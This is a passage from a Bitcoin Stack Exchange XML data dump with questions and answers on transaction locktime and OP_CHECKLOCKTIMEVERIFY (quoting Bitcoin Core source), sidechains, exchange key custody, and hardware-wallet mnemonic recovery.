(already mined into block) - they would construct a transaction of their own that uses the txouts from the &lt;em&gt;locktime=400000&lt;/em&gt; transaction, and broadcast it to the network. Miners would perform all the standard checks on this new transaction, and the specific checks relating to the locktime would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that the transaction is &quot;final&quot;, as discussed before&lt;/li&gt;&#xA;&lt;li&gt;that this latest block being created is 400000 or greater&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this latest block is not 400000 then the transaction cannot be mined into the block. And infact if a rogue miner does go and put the spending transaction into a block before block 400000 then this block will be rejected by other miners on the network for containing a transaction that fails to validate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the person spending the &lt;em&gt;locktime=400000&lt;/em&gt; transaction funds wants this to happen as soon as block 400000 is reached. If they broadcast their spending transaction too early (eg 377199) then it may get rejected as miners discard the transaction for not validating. If the miners are smart (they probably are but I haven't looked at the code for this) then they will see that the transaction will become spendable at a date in the future, and will hold on to it so that they can mine it into block 400000 and get the fees before everybody else. However if the transaction is too far in the future then the miners may run out of memory to store this transaction and discard it. The person issuing the transaction can check its propagation on blockchain.info and re-broadcast it before block 400000 if propagation is too low.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;OP_CHECKLOCKTIMEVERIFY&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This opcode can be used in either scriptpubkey or scriptsig (or both at once). It basically compares a stack item (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L367&quot; rel=&quot;nofollow noreferrer&quot;&gt;only the rightmost 5 bytes in minimized format&lt;/a&gt;) with the transaction's locktime. If the transaction locktime (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L1138-L1141&quot; rel=&quot;nofollow noreferrer&quot;&gt;timestamp when above the threshold or block number when below the threshold&lt;/a&gt;) &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L1146-L1147&quot; rel=&quot;nofollow noreferrer&quot;&gt;is &lt;strong&gt;greater&lt;/strong&gt; than the stack item then this opcode will validate successfully. But if the transaction locktime has not yet reached the stack item value then the opcode will fail to validate and miners will not include this transaction in a block.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case where a script contains &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; but the sequence number for that script's txin is &lt;code&gt;0xffffff&lt;/code&gt; then this means that the locktime is being ignored. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L1159&quot; rel=&quot;nofollow noreferrer&quot;&gt;Therefore &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; will fail&lt;/a&gt; and the transaction will not be mined into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; can also be used to make sure funds cannot be accessed until a future date or block. For example to send funds to address xyz but make them accessible at block 400000 or later, the following txout script could be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 OP_PUSHDATA xyz OP_EQUALVERIFY OP_CHECKSIG OP_PUSHDATA 400000 OP_CHECKLOCKTIMEVERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to spend this transaction, someone will need to submit a transaction containing locktime 400000 or greater (but still below the threshold).&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-08-14T10:09:34.007" Title="Is my understanding of locktime correct?" Tags="|locktime|sequence|checklocktimeverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40765" PostTypeId="1" CreationDate="2015-10-04T17:18:52.990" Score="1" ViewCount="55" Body="&lt;p&gt;I use the wallet Bitcoin Wallet from the Google Play store, and recently received a transaction for some BTC. However, this transaction is really a resend of an earlier transaction for the exact same amount that was rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite this, the earlier transaction (showing up as unconfirmed in the wallet) is still adding to my shown total, and is making my total amount inaccurate. Is there a way to delete the transaction from my history so that it does not show up on the total?&lt;/p&gt;&#xA;" OwnerUserId="29616" LastActivityDate="2015-10-04T17:18:52.990" Title="Bitcoin Wallet - An unconfirmed transaction that was later resent and confirmed still shows up on total" Tags="|wallet|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40766" PostTypeId="2" ParentId="40759" CreationDate="2015-10-04T19:46:38.030" Score="1" Body="&lt;p&gt;Or a combination of both. It looks like things like the Lightning Network will be there for micro payments and smaller amounts so that only larger transactions will be directly on the blockchain. For larger (and aggregate) transactions a bit more fee shouldn't be a problem (a). Also at some point the block size will likely be raised allowing for more transactions per block as well (b).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way your title is wrong: there is no post-mining world.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-04T19:46:38.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40767" PostTypeId="2" ParentId="40764" CreationDate="2015-10-04T22:12:36.137" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Say that currently, the block height is 377199. If I wanted to send money to someone, but only have them receive it at some time in the future, then I could make a transaction to their address, set the locktime to 400000 and set all sequence numbers in the transaction to 0xffffffff. This transaction will get mined into block 377200 or maybe 377201.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;nLockTime&lt;/code&gt; makes a transaction &lt;strong&gt;invalid&lt;/strong&gt; not &lt;em&gt;unspendable&lt;/em&gt;. If you attempt to broadcast a transaction before it is valid, it will not be relayed, and is not able to be included in any block. You can retain the transaction until it becomes valid (by block height or time), but you can also spend the original outputs with a completely different transaction in the mean time. For your example it will not make it into a block until at least height 400,000, and only if you broadcast it after that time. &lt;code&gt;nLockTime&lt;/code&gt; does not affect the spendability of the output in the blocks, just the validity of the transaction that creates them. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="38025" LastEditDate="2016-08-14T10:09:34.007" LastActivityDate="2016-08-14T10:09:34.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40768" PostTypeId="1" CreationDate="2015-10-05T11:35:56.593" Score="2" ViewCount="129" Body="&lt;p&gt;How can I search for a transaction to or from a certain address in the block chain within a particular time period?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to answer if this transaction occurred on 17 Oct 2014. Hence, instead of searching the entire block chain, it might be faster to search block chain, starting 16 Oct 2014 and ending on 18 Oct 2014. &lt;/p&gt;&#xA;" OwnerUserId="29751" LastEditorUserId="2306" LastEditDate="2015-10-08T06:31:12.133" LastActivityDate="2022-03-02T15:58:22.280" Title="Is it possible to search for an transaction to or from an address with a time period filter?" Tags="|blockchain|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40770" PostTypeId="1" AcceptedAnswerId="40772" CreationDate="2015-10-05T14:26:51.263" Score="8" ViewCount="1218" Body="&lt;p&gt;Are sidechains intended to help Bitcoin scale? Do they reduce load on Bitcoin's main chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, why not?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2018-06-12T00:43:18.437" Title="Would sidechains help Bitcoin scale?" Tags="|scalability|sidechains|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40772" PostTypeId="2" ParentId="40770" CreationDate="2015-10-05T22:14:12.910" Score="10" Body="&lt;p&gt;No. They can increase scale, but that is not what they are good at or intended for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before giving a longer answer, let me first talk briefly about the difference between scale and scalability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing scale means increasing the throughput or number of participants to the system. It's very easy to achieve (decreasing the time between blocks, or increasing the size of blocks), but it would come at a cost of higher centralization pressure for mining and increased validation cost to the system. Whether these increased costs are acceptable is controversial, but there are certainly costs involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing scalability means changing the system in a way such that increased scale comes with less increased costs. Known mechanisms for better scalability include better peer to peer relay protocols, faster digital signature systems, software improvements, technology on top such as payment channels or lightning to reduce on-chain transaction need, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidechains don't improve scalability. If we want the same security level with sidechains, the same amount of people and miners need to be validating them. That is at least as costly as just increasing the block size of Bitcoin itself, and sidechains come with extra compromises on top of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, sidechains may increase scale, but are not better at it than larger blocks would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What sidechains do bring is the ability to experiment. To be able to build networks that run on different - and possibly better-scaling - technology, but without needing to first beat bitcoin's (the currency's) network effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidechains are intended to improve scalability, but only indirectly: by enabling innovation. Not because they can just offload things from Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-10-14T16:15:09.643" LastActivityDate="2015-10-14T16:15:09.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40773" PostTypeId="1" AcceptedAnswerId="40798" CreationDate="2015-10-05T22:51:41.767" Score="3" ViewCount="230" Body="&lt;p&gt;Is there a service where it generates a BTC address with public/private key, but no one knows it until someone pays a fee to reveal it? The idea is basically, some script or some other decentralized system will generate a btc private key, then encrypt it somehow. And in order to decrypt the encoded private key, a certain fee has to be paid. But the public key is exposed publicly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the idea is akin to generating a btc paper wallet private key, and then putting a few bitcoins in it. Then seal it inside a tamper proof envelope and then display the public key on the outside of the envelope. Now you can give this envelope to anyone physically without it showing on the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there a service like this?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-02-06T19:28:46.887" Title="Is there a service where you can generate public/private keys without anyone knowing? Like a tamperproof digital envelope" Tags="|private-key|privacy|public-key|services|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40774" PostTypeId="2" ParentId="40564" CreationDate="2015-10-06T00:22:46.807" Score="3" Body="&lt;p&gt;To support timely settlement services outside an exchange's platform, around 1/12 to 1/16 value of an exchange's cryptocurrency value will probably need to be placed in hot storage. The rest will be in cold storage. Conceptually, fractional hot to cold storage ratios are analogous to fractional reserve banking and PBX trunk sizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cybersecurity ante for the &quot;state-of-the-practice&quot; for exchanges and payment processors business as usual needs to be upped.  Don't even think about just a bunch of keys (JBOK) management. Hierarchical Deterministic (HD) technology is really the only viable approach to minimize key management complexity that can eat you alive. Insider threats will be one of the largest attack surfaces for exchanges. Employee background checks will be inadequate. Multisig support is critical to ensure internal &lt;strong&gt;separation of duties&lt;/strong&gt; to prevent &lt;strong&gt;conflicts of interests&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For concise Dash examples about how to apply BIP 32/38/44 to altcoin key synthesis, and address generation (for both public and private extended keys) see answer URLs reference by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/40568/bip-38-implementions-for-altcoins&quot;&gt;BIP 38 Implementions for Altcoins?&lt;/a&gt;, in particular see this recent &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altcoin-Version-Mappings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki Posting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supporting multisig signature capability will be critical for minimizing the exposure of an exchange's cold and hot wallet assets. Suspect the libbitcoin multisig transaction composition interface will work for numerous altcoins, since I've tested it for BTC and TEST coins a few months back. However, still need to validate that bx multisig interface works with the newly supported altcoin &quot;version&quot; interface.  Extra validation work is required to ascertain which altcoins bx can successfully create version 1 text formatted multisignature transactions, and which altcoin network consensus mechanisms no kidding truly support multisig blockchain capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig technologies alone do not prevent out-of-band multisig workflow spoofing attacks... ask BitP++. Suspect exchanges and payment services practicing &quot;due diligence&quot; and &quot;due care&quot; will eventually learn they must also deploy expensive to design/deploy/sustain controlled interface &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-domain_solution&quot; rel=&quot;nofollow noreferrer&quot;&gt;CDS&lt;/a&gt; technologies.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-10-08T01:57:37.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40775" PostTypeId="2" ParentId="40756" CreationDate="2015-10-06T00:48:00.553" Score="0" Body="&lt;p&gt;To say what Meni said a slightly different way -- a market is going to have natural supply and natural demand and this will form a natural price. You can try to manipulate the market by creating the illusion of extra supply or extra demand to make the price higher or lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that the further you try to push the price from the natural price, the more it costs you to do it. To keep pushing the price up, you have to keep buying at the artificially inflated price you've created. You have to take bigger and bigger losses to achieve smaller and smaller changes in price. And the second you start selling, the price will fall like a rock. It's virtually impossible to make up the losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem is that a manipulator must pay the full costs of his manipulation. But he must share the profits with anyone else who wishes to trade on the market. If you manipulate the price up, I will sell too. If you manipulate the price down, I will buy too. So while you bear all the costs, good luck getting even a significant share of the profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people have made the mistake of thinking that you can push a price up or down and then profit from trading at the artificial price. It's not impossible to do so, but you can't reliably do it just by ordinary buying and selling. There are many people who have tried to do so and lost huge amounts of money.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-10-06T00:48:00.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40777" PostTypeId="1" CreationDate="2015-10-06T07:40:31.853" Score="4" ViewCount="2220" Body="&lt;p&gt;Some simplified explanations of Bitcoin say, that the Bitcoin address is the public key, and anybody can easily verify that a signed transaction is valid since it was signed with corresponding private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in reality, the address is the hash of another hash of the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's not possible to derive the public key from the address alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do miners obtain my public key, then?&#xA;Is the public key included in the transaction I am sending ?&lt;/p&gt;&#xA;" OwnerUserId="29679" LastEditorUserId="5406" LastEditDate="2015-10-09T12:17:21.543" LastActivityDate="2016-07-11T12:27:47.993" Title="Where is the public key corresponding to my address stored?" Tags="|transactions|address|public-key|message-signing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40778" PostTypeId="1" CreationDate="2015-10-06T10:48:56.957" Score="2" ViewCount="72" Body="&lt;p&gt;I lack something in my understanding of how the mining process works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner has to loop over a block and re-calculate it's SHA256 for only 2^32 (the amount of different nonce values possible) until it finds a SHA256 with a value lower than the target value , isn't that too fast (only 2^32 possiblities per block ?) ? I know I'm missing something here ...&#xA;So what am I missing ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="29776" LastEditorUserId="18196" LastEditDate="2016-03-06T19:30:58.220" LastActivityDate="2016-03-06T19:30:58.220" Title="Mining , hash and Nonce" Tags="|hash|sha256|nonce|mining-technical-details|" AnswerCount="0" CommentCount="0" ClosedDate="2015-10-07T06:06:10.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="40779" PostTypeId="2" ParentId="40777" CreationDate="2015-10-06T11:40:12.503" Score="4" Body="&lt;p&gt;Yes, a transaction includes the public key. So, only when you spend the coins from an address a public key actually becomes public (unless you have shared it with anyone otherwise).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as long as you don't reuse addresses, the public key is only known after a transaction, which usually is just a few confirmations away from the address' balance to be 0.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5406" LastEditDate="2015-10-09T12:20:52.467" LastActivityDate="2015-10-09T12:20:52.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40780" PostTypeId="1" CreationDate="2015-10-06T11:42:43.763" Score="6" ViewCount="1328" Body="&lt;p&gt;I am pretty confused.  What I understand is that when I buy a Trezor then it gives me some words that I need to copy down.  When the Trezor starts up does it then automatically create some Bitcoin addresses and keys?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I lose my Trezor, then how does a replacement know about my previously created Bitcoin addresses and keys?&lt;/p&gt;&#xA;" OwnerUserId="29777" LastEditorUserId="5406" LastEditDate="2015-10-09T12:25:13.937" LastActivityDate="2017-11-05T15:08:28.060" Title="If I lose a Trezor then how does the replacement get access to the same wallet?" Tags="|wallet|address|hardware-wallet|trezor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40781" PostTypeId="2" ParentId="11643" CreationDate="2015-10-06T12:47:07.130" Score="1" Body="&lt;p&gt;This isn't exactly what you want, but it's close:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://choosecase.com/&quot; rel=&quot;nofollow&quot;&gt;Case hardware wallet&lt;/a&gt; uses 2-of-3 multisig, where one key is on the device, one is on Case servers, and the third recovery key has two options: Self-storage or Vault storage through &lt;a href=&quot;https://www.thirdkey.solutions/&quot; rel=&quot;nofollow&quot;&gt;Third Key Solutions&lt;/a&gt; (invisible to the customer). If you choose the self-storage option, you provide an &lt;code&gt;xpub&lt;/code&gt; key during initial setup, and the multisig wallet will use that as the third key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that scheme you would have signing control of 2 of the 3 keys. There is still the human trust element where Case servers are necessary to perform the transactions, but they cannot sign any transactions not initiated by the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I work at Case. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-10-06T12:47:07.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40782" PostTypeId="2" ParentId="40780" CreationDate="2015-10-06T14:34:09.697" Score="6" Body="&lt;p&gt;Trezor implements BIP32/BIP39 (hierarchical deterministic wallet and mnemonic encoded seeds, respectively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mnemonic (12 words) is just a way of encoding a hex seed like &lt;code&gt;6c5f9d00018f2a2030afcc6f3057e5a4dea6dfb905dd4b0197a9a047bcfe0501662332a3caa846b1223ff3d20cfb295e7f94fe51c94472e3f8429c97754132e9&lt;/code&gt; (whose mnemonic would be &lt;code&gt;business weird season glimpse pole robot surprise next term toddler doctor fresh&lt;/code&gt;). The hex seed is then used for a master private key and a master public key pair (in this example, &lt;code&gt;xprv9s21ZrQH143K29DbrSg2YgC2iyW3Gx3FhNExbxEacDWJCmz9xmsxKjon93FSC85Bv4AkszKLK1d3FA6PKS1Wb6xYotbDppezTMQaazbPL6h&lt;/code&gt; and &lt;code&gt;xpub661MyMwAqRbcEdJ4xUD2up8mH1LXgQm74bAZQLeCAZ3H5aKJWKCCsY8FzL33Ay3XxoX7xWyq4pejzuSQEQw2hA2CvWvKBgMGTJLgZXRzdbf&lt;/code&gt;, respectively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if we look at &lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;noreferrer&quot;&gt;this bip39 tool&lt;/a&gt;, the mnemonic &lt;em&gt;business weird season glimpse pole robot surprise next term toddler doctor fresh&lt;/em&gt; has a list of addresses which will be used by the Trezor, in order (in this example, the first listed address begins with &lt;em&gt;18SKy...&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is just demonstrating how it works (&lt;strong&gt;do not&lt;/strong&gt; enter your mnemonic into a website as this example shows!), or as &lt;strong&gt;TL;DR&lt;/strong&gt;: &lt;em&gt;the mnemonic is all you need to recover the keys for Trezor addresses&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-10-06T14:34:09.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40783" PostTypeId="2" ParentId="35679" CreationDate="2015-10-06T17:39:11.407" Score="1" Body="&lt;p&gt;There's more to mining than hashing as I explain in this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cryptorials.io/beyond-hashcash-proof-work-theres-mining-hashing&quot; rel=&quot;nofollow&quot;&gt;http://cryptorials.io/beyond-hashcash-proof-work-theres-mining-hashing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which suggests that memory chips could be the ASIC there's no need to resist.&lt;/p&gt;&#xA;" OwnerUserId="14258" LastEditorUserId="14258" LastEditDate="2015-10-08T14:09:09.160" LastActivityDate="2015-10-08T14:09:09.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40784" PostTypeId="2" ParentId="40706" CreationDate="2015-10-07T13:46:28.003" Score="9" Body="&lt;p&gt;the purpose of &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; is kind of the opposite to the purpose of &lt;code&gt;tx.nLockTime&lt;/code&gt;. &lt;code&gt;tx.nLockTime&lt;/code&gt; prevents transactions with future dates from entering the blockchain, whereas &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; enables someone to freeze funds so that they can only be spent &lt;em&gt;after&lt;/em&gt; a given timestamp or block height.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;code&gt;tx.nLockTime&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;tx.nLockTime&lt;/code&gt; is validated by function &lt;code&gt;IsFinalTx()&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/4899a04c24b927166048a74999992d216a543c23/src/main.cpp#L641-L651&quot; rel=&quot;nofollow noreferrer&quot;&gt;in &lt;code&gt;src/main.cpp&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;bool IsFinalTx(const CTransaction &amp;amp;tx, int nBlockHeight, int64_t nBlockTime)&#xA;{&#xA;    if (tx.nLockTime == 0)&#xA;        return true;&#xA;    if ((int64_t)tx.nLockTime &amp;lt; ((int64_t)tx.nLockTime &amp;lt; LOCKTIME_THRESHOLD ? (int64_t)nBlockHeight : nBlockTime))&#xA;        return true;&#xA;    BOOST_FOREACH(const CTxIn&amp;amp; txin, tx.vin)&#xA;        if (!txin.IsFinal())&#xA;            return false;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;txin.IsFinal()&lt;/code&gt; is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/24ce77d775f48034ef0c42fa21017d145c790921/src/primitives/transaction.h#L81-L84&quot; rel=&quot;nofollow noreferrer&quot;&gt;in &lt;code&gt;src/primitives/transaction.h&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;bool IsFinal() const&#xA;{&#xA;    return (nSequence == std::numeric_limits&amp;lt;uint32_t&amp;gt;::max());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the tx locktime is below the threshold then it is treated as a block height and if it is above the threshold then it is treated as a timestamp. Either way, the transaction locktime value must be smaller than the relevant constraint. If it is larger then miners must wait before including the transaction in a block.&lt;/p&gt;&#xA;&lt;p&gt;The only way to bypass this transaction locktime constraint is to disable the transaction locktime completely by setting all txin sequence numbers to maxint. When this is done then miners will include the transaction straight away, even if the locktime has not yet been reached.&lt;/p&gt;&#xA;&lt;p&gt;The idea with the transaction locktime is that before the transaction is locked (ie before the block height or timestamp catch up with tx locktime), someone can make amendments to the transaction. Each time they make a change then they must increment the sequence number to let miners know which amendment comes after another.&lt;/p&gt;&#xA;&lt;p&gt;One use case for this might be a digital &lt;em&gt;will&lt;/em&gt;. If you wanted to pass your money on to someone else specifically in the event of your death then you could create a transaction with a locktime of one year from now and then give it to a few friends. In the event of your death they can broadcast this transaction on the network &lt;em&gt;after&lt;/em&gt; one year and the funds will be sent accordingly. Broadcasting the transaction before this time period of one year would not enable them to receive funds, since miners will ignore the transaction until the time period becomes valid (and obviously the friends cannot alter the functionality of this transaction since it is signed by your private key which you never disclose).&lt;/p&gt;&#xA;&lt;p&gt;If you don't die then you can spend the funds to a different address of your own choosing by broadcasting a different transaction on the network. Your friends will then not be able to use the original transaction you gave them since this would be a doublespend, which the miners do not allow. For the transaction which you broadcast to cancel the &lt;em&gt;will&lt;/em&gt; you would alter the locktime to make it sooner, and increment the sequence number. Alternatively you could set the locktime to 0 or set the sequence number to maxint to spend straight away.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; has a very different use. It is validated in function &lt;code&gt;EvalScript()&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L340-L380&quot; rel=&quot;nofollow noreferrer&quot;&gt;in &lt;code&gt;src/script/interpreter.cpp&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;            case OP_CHECKLOCKTIMEVERIFY:&#xA;            {&#xA;                if (!(flags &amp;amp; SCRIPT_VERIFY_CHECKLOCKTIMEVERIFY)) {&#xA;                   // not enabled; treat as a NOP2&#xA;                   if (flags &amp;amp; SCRIPT_VERIFY_DISCOURAGE_UPGRADABLE_NOPS) {&#xA;                        return set_error(serror, SCRIPT_ERR_DISCOURAGE_UPGRADABLE_NOPS);&#xA;                    }&#xA;                    break;&#xA;                }&#xA;&#xA;                if (stack.size() &amp;lt; 1)&#xA;                    return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);&#xA;&#xA;                // Note that elsewhere numeric opcodes are limited to&#xA;                // operands in the range -2**31+1 to 2**31-1, however it is&#xA;                // legal for opcodes to produce results exceeding that&#xA;                // range. This limitation is implemented by CScriptNum's&#xA;                // default 4-byte limit.&#xA;                //&#xA;                // If we kept to that limit we'd have a year 2038 problem,&#xA;                // even though the nLockTime field in transactions&#xA;                // themselves is uint32 which only becomes meaningless&#xA;                // after the year 2106.&#xA;                //&#xA;                // Thus as a special case we tell CScriptNum to accept up&#xA;                // to 5-byte bignums, which are good until 2**39-1, well&#xA;                // beyond the 2**32-1 limit of the nLockTime field itself.&#xA;                const CScriptNum nLockTime(stacktop(-1), fRequireMinimal, 5);&#xA;&#xA;                // In the rare event that the argument may be &amp;lt; 0 due to&#xA;                // some arithmetic being done first, you can always use&#xA;                // 0 MAX CHECKLOCKTIMEVERIFY.&#xA;                if (nLockTime &amp;lt; 0)&#xA;                return set_error(serror, SCRIPT_ERR_NEGATIVE_LOCKTIME);&#xA;&#xA;                // Actually compare the specified lock time with the transaction.&#xA;               if (!checker.CheckLockTime(nLockTime))&#xA;                    return set_error(serror, SCRIPT_ERR_UNSATISFIED_LOCKTIME);&#xA;&#xA;                break;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which relies on function &lt;code&gt;CheckLockTime()&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp#L1129-L1163&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the same file&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;bool TransactionSignatureChecker::CheckLockTime(const CScriptNum&amp;amp; nLockTime) const&#xA;{&#xA;    // There are two kinds of nLockTime: lock-by-blockheight&#xA;    // and lock-by-blocktime, distinguished by whether&#xA;    // nLockTime &amp;lt; LOCKTIME_THRESHOLD.&#xA;    //&#xA;    // We want to compare apples to apples, so fail the script&#xA;    // unless the type of nLockTime being tested is the same as&#xA;    // the nLockTime in the transaction.&#xA;    if (!(&#xA;       (txTo-&amp;gt;nLockTime &amp;lt;  LOCKTIME_THRESHOLD &amp;amp;&amp;amp; nLockTime &amp;lt; LOCKTIME_THRESHOLD) ||&#xA;       (txTo-&amp;gt;nLockTime &amp;gt;= LOCKTIME_THRESHOLD &amp;amp;&amp;amp; nLockTime &amp;gt;= LOCKTIME_THRESHOLD)&#xA;    ))&#xA;        return false;&#xA;&#xA;    // Now that we know we're comparing apples-to-apples, the&#xA;    // comparison is a simple numeric one.&#xA;    if (nLockTime &amp;gt; (int64_t)txTo-&amp;gt;nLockTime)&#xA;        return false;&#xA; &#xA;    // Finally the nLockTime feature can be disabled and thus&#xA;    // CHECKLOCKTIMEVERIFY bypassed if every txin has been&#xA;    // finalized by setting nSequence to maxint. The&#xA;    // transaction would be allowed into the blockchain, making&#xA;    // the opcode ineffective.&#xA;    //&#xA;    // Testing if this vin is not final is sufficient to&#xA;    // prevent this condition. Alternatively we could test all&#xA;    // inputs, but testing just this input minimizes the data&#xA;    // required to prove correct CHECKLOCKTIMEVERIFY execution.&#xA;    if (txTo-&amp;gt;vin[nIn].IsFinal())&#xA;        return false;&#xA;&#xA;    return 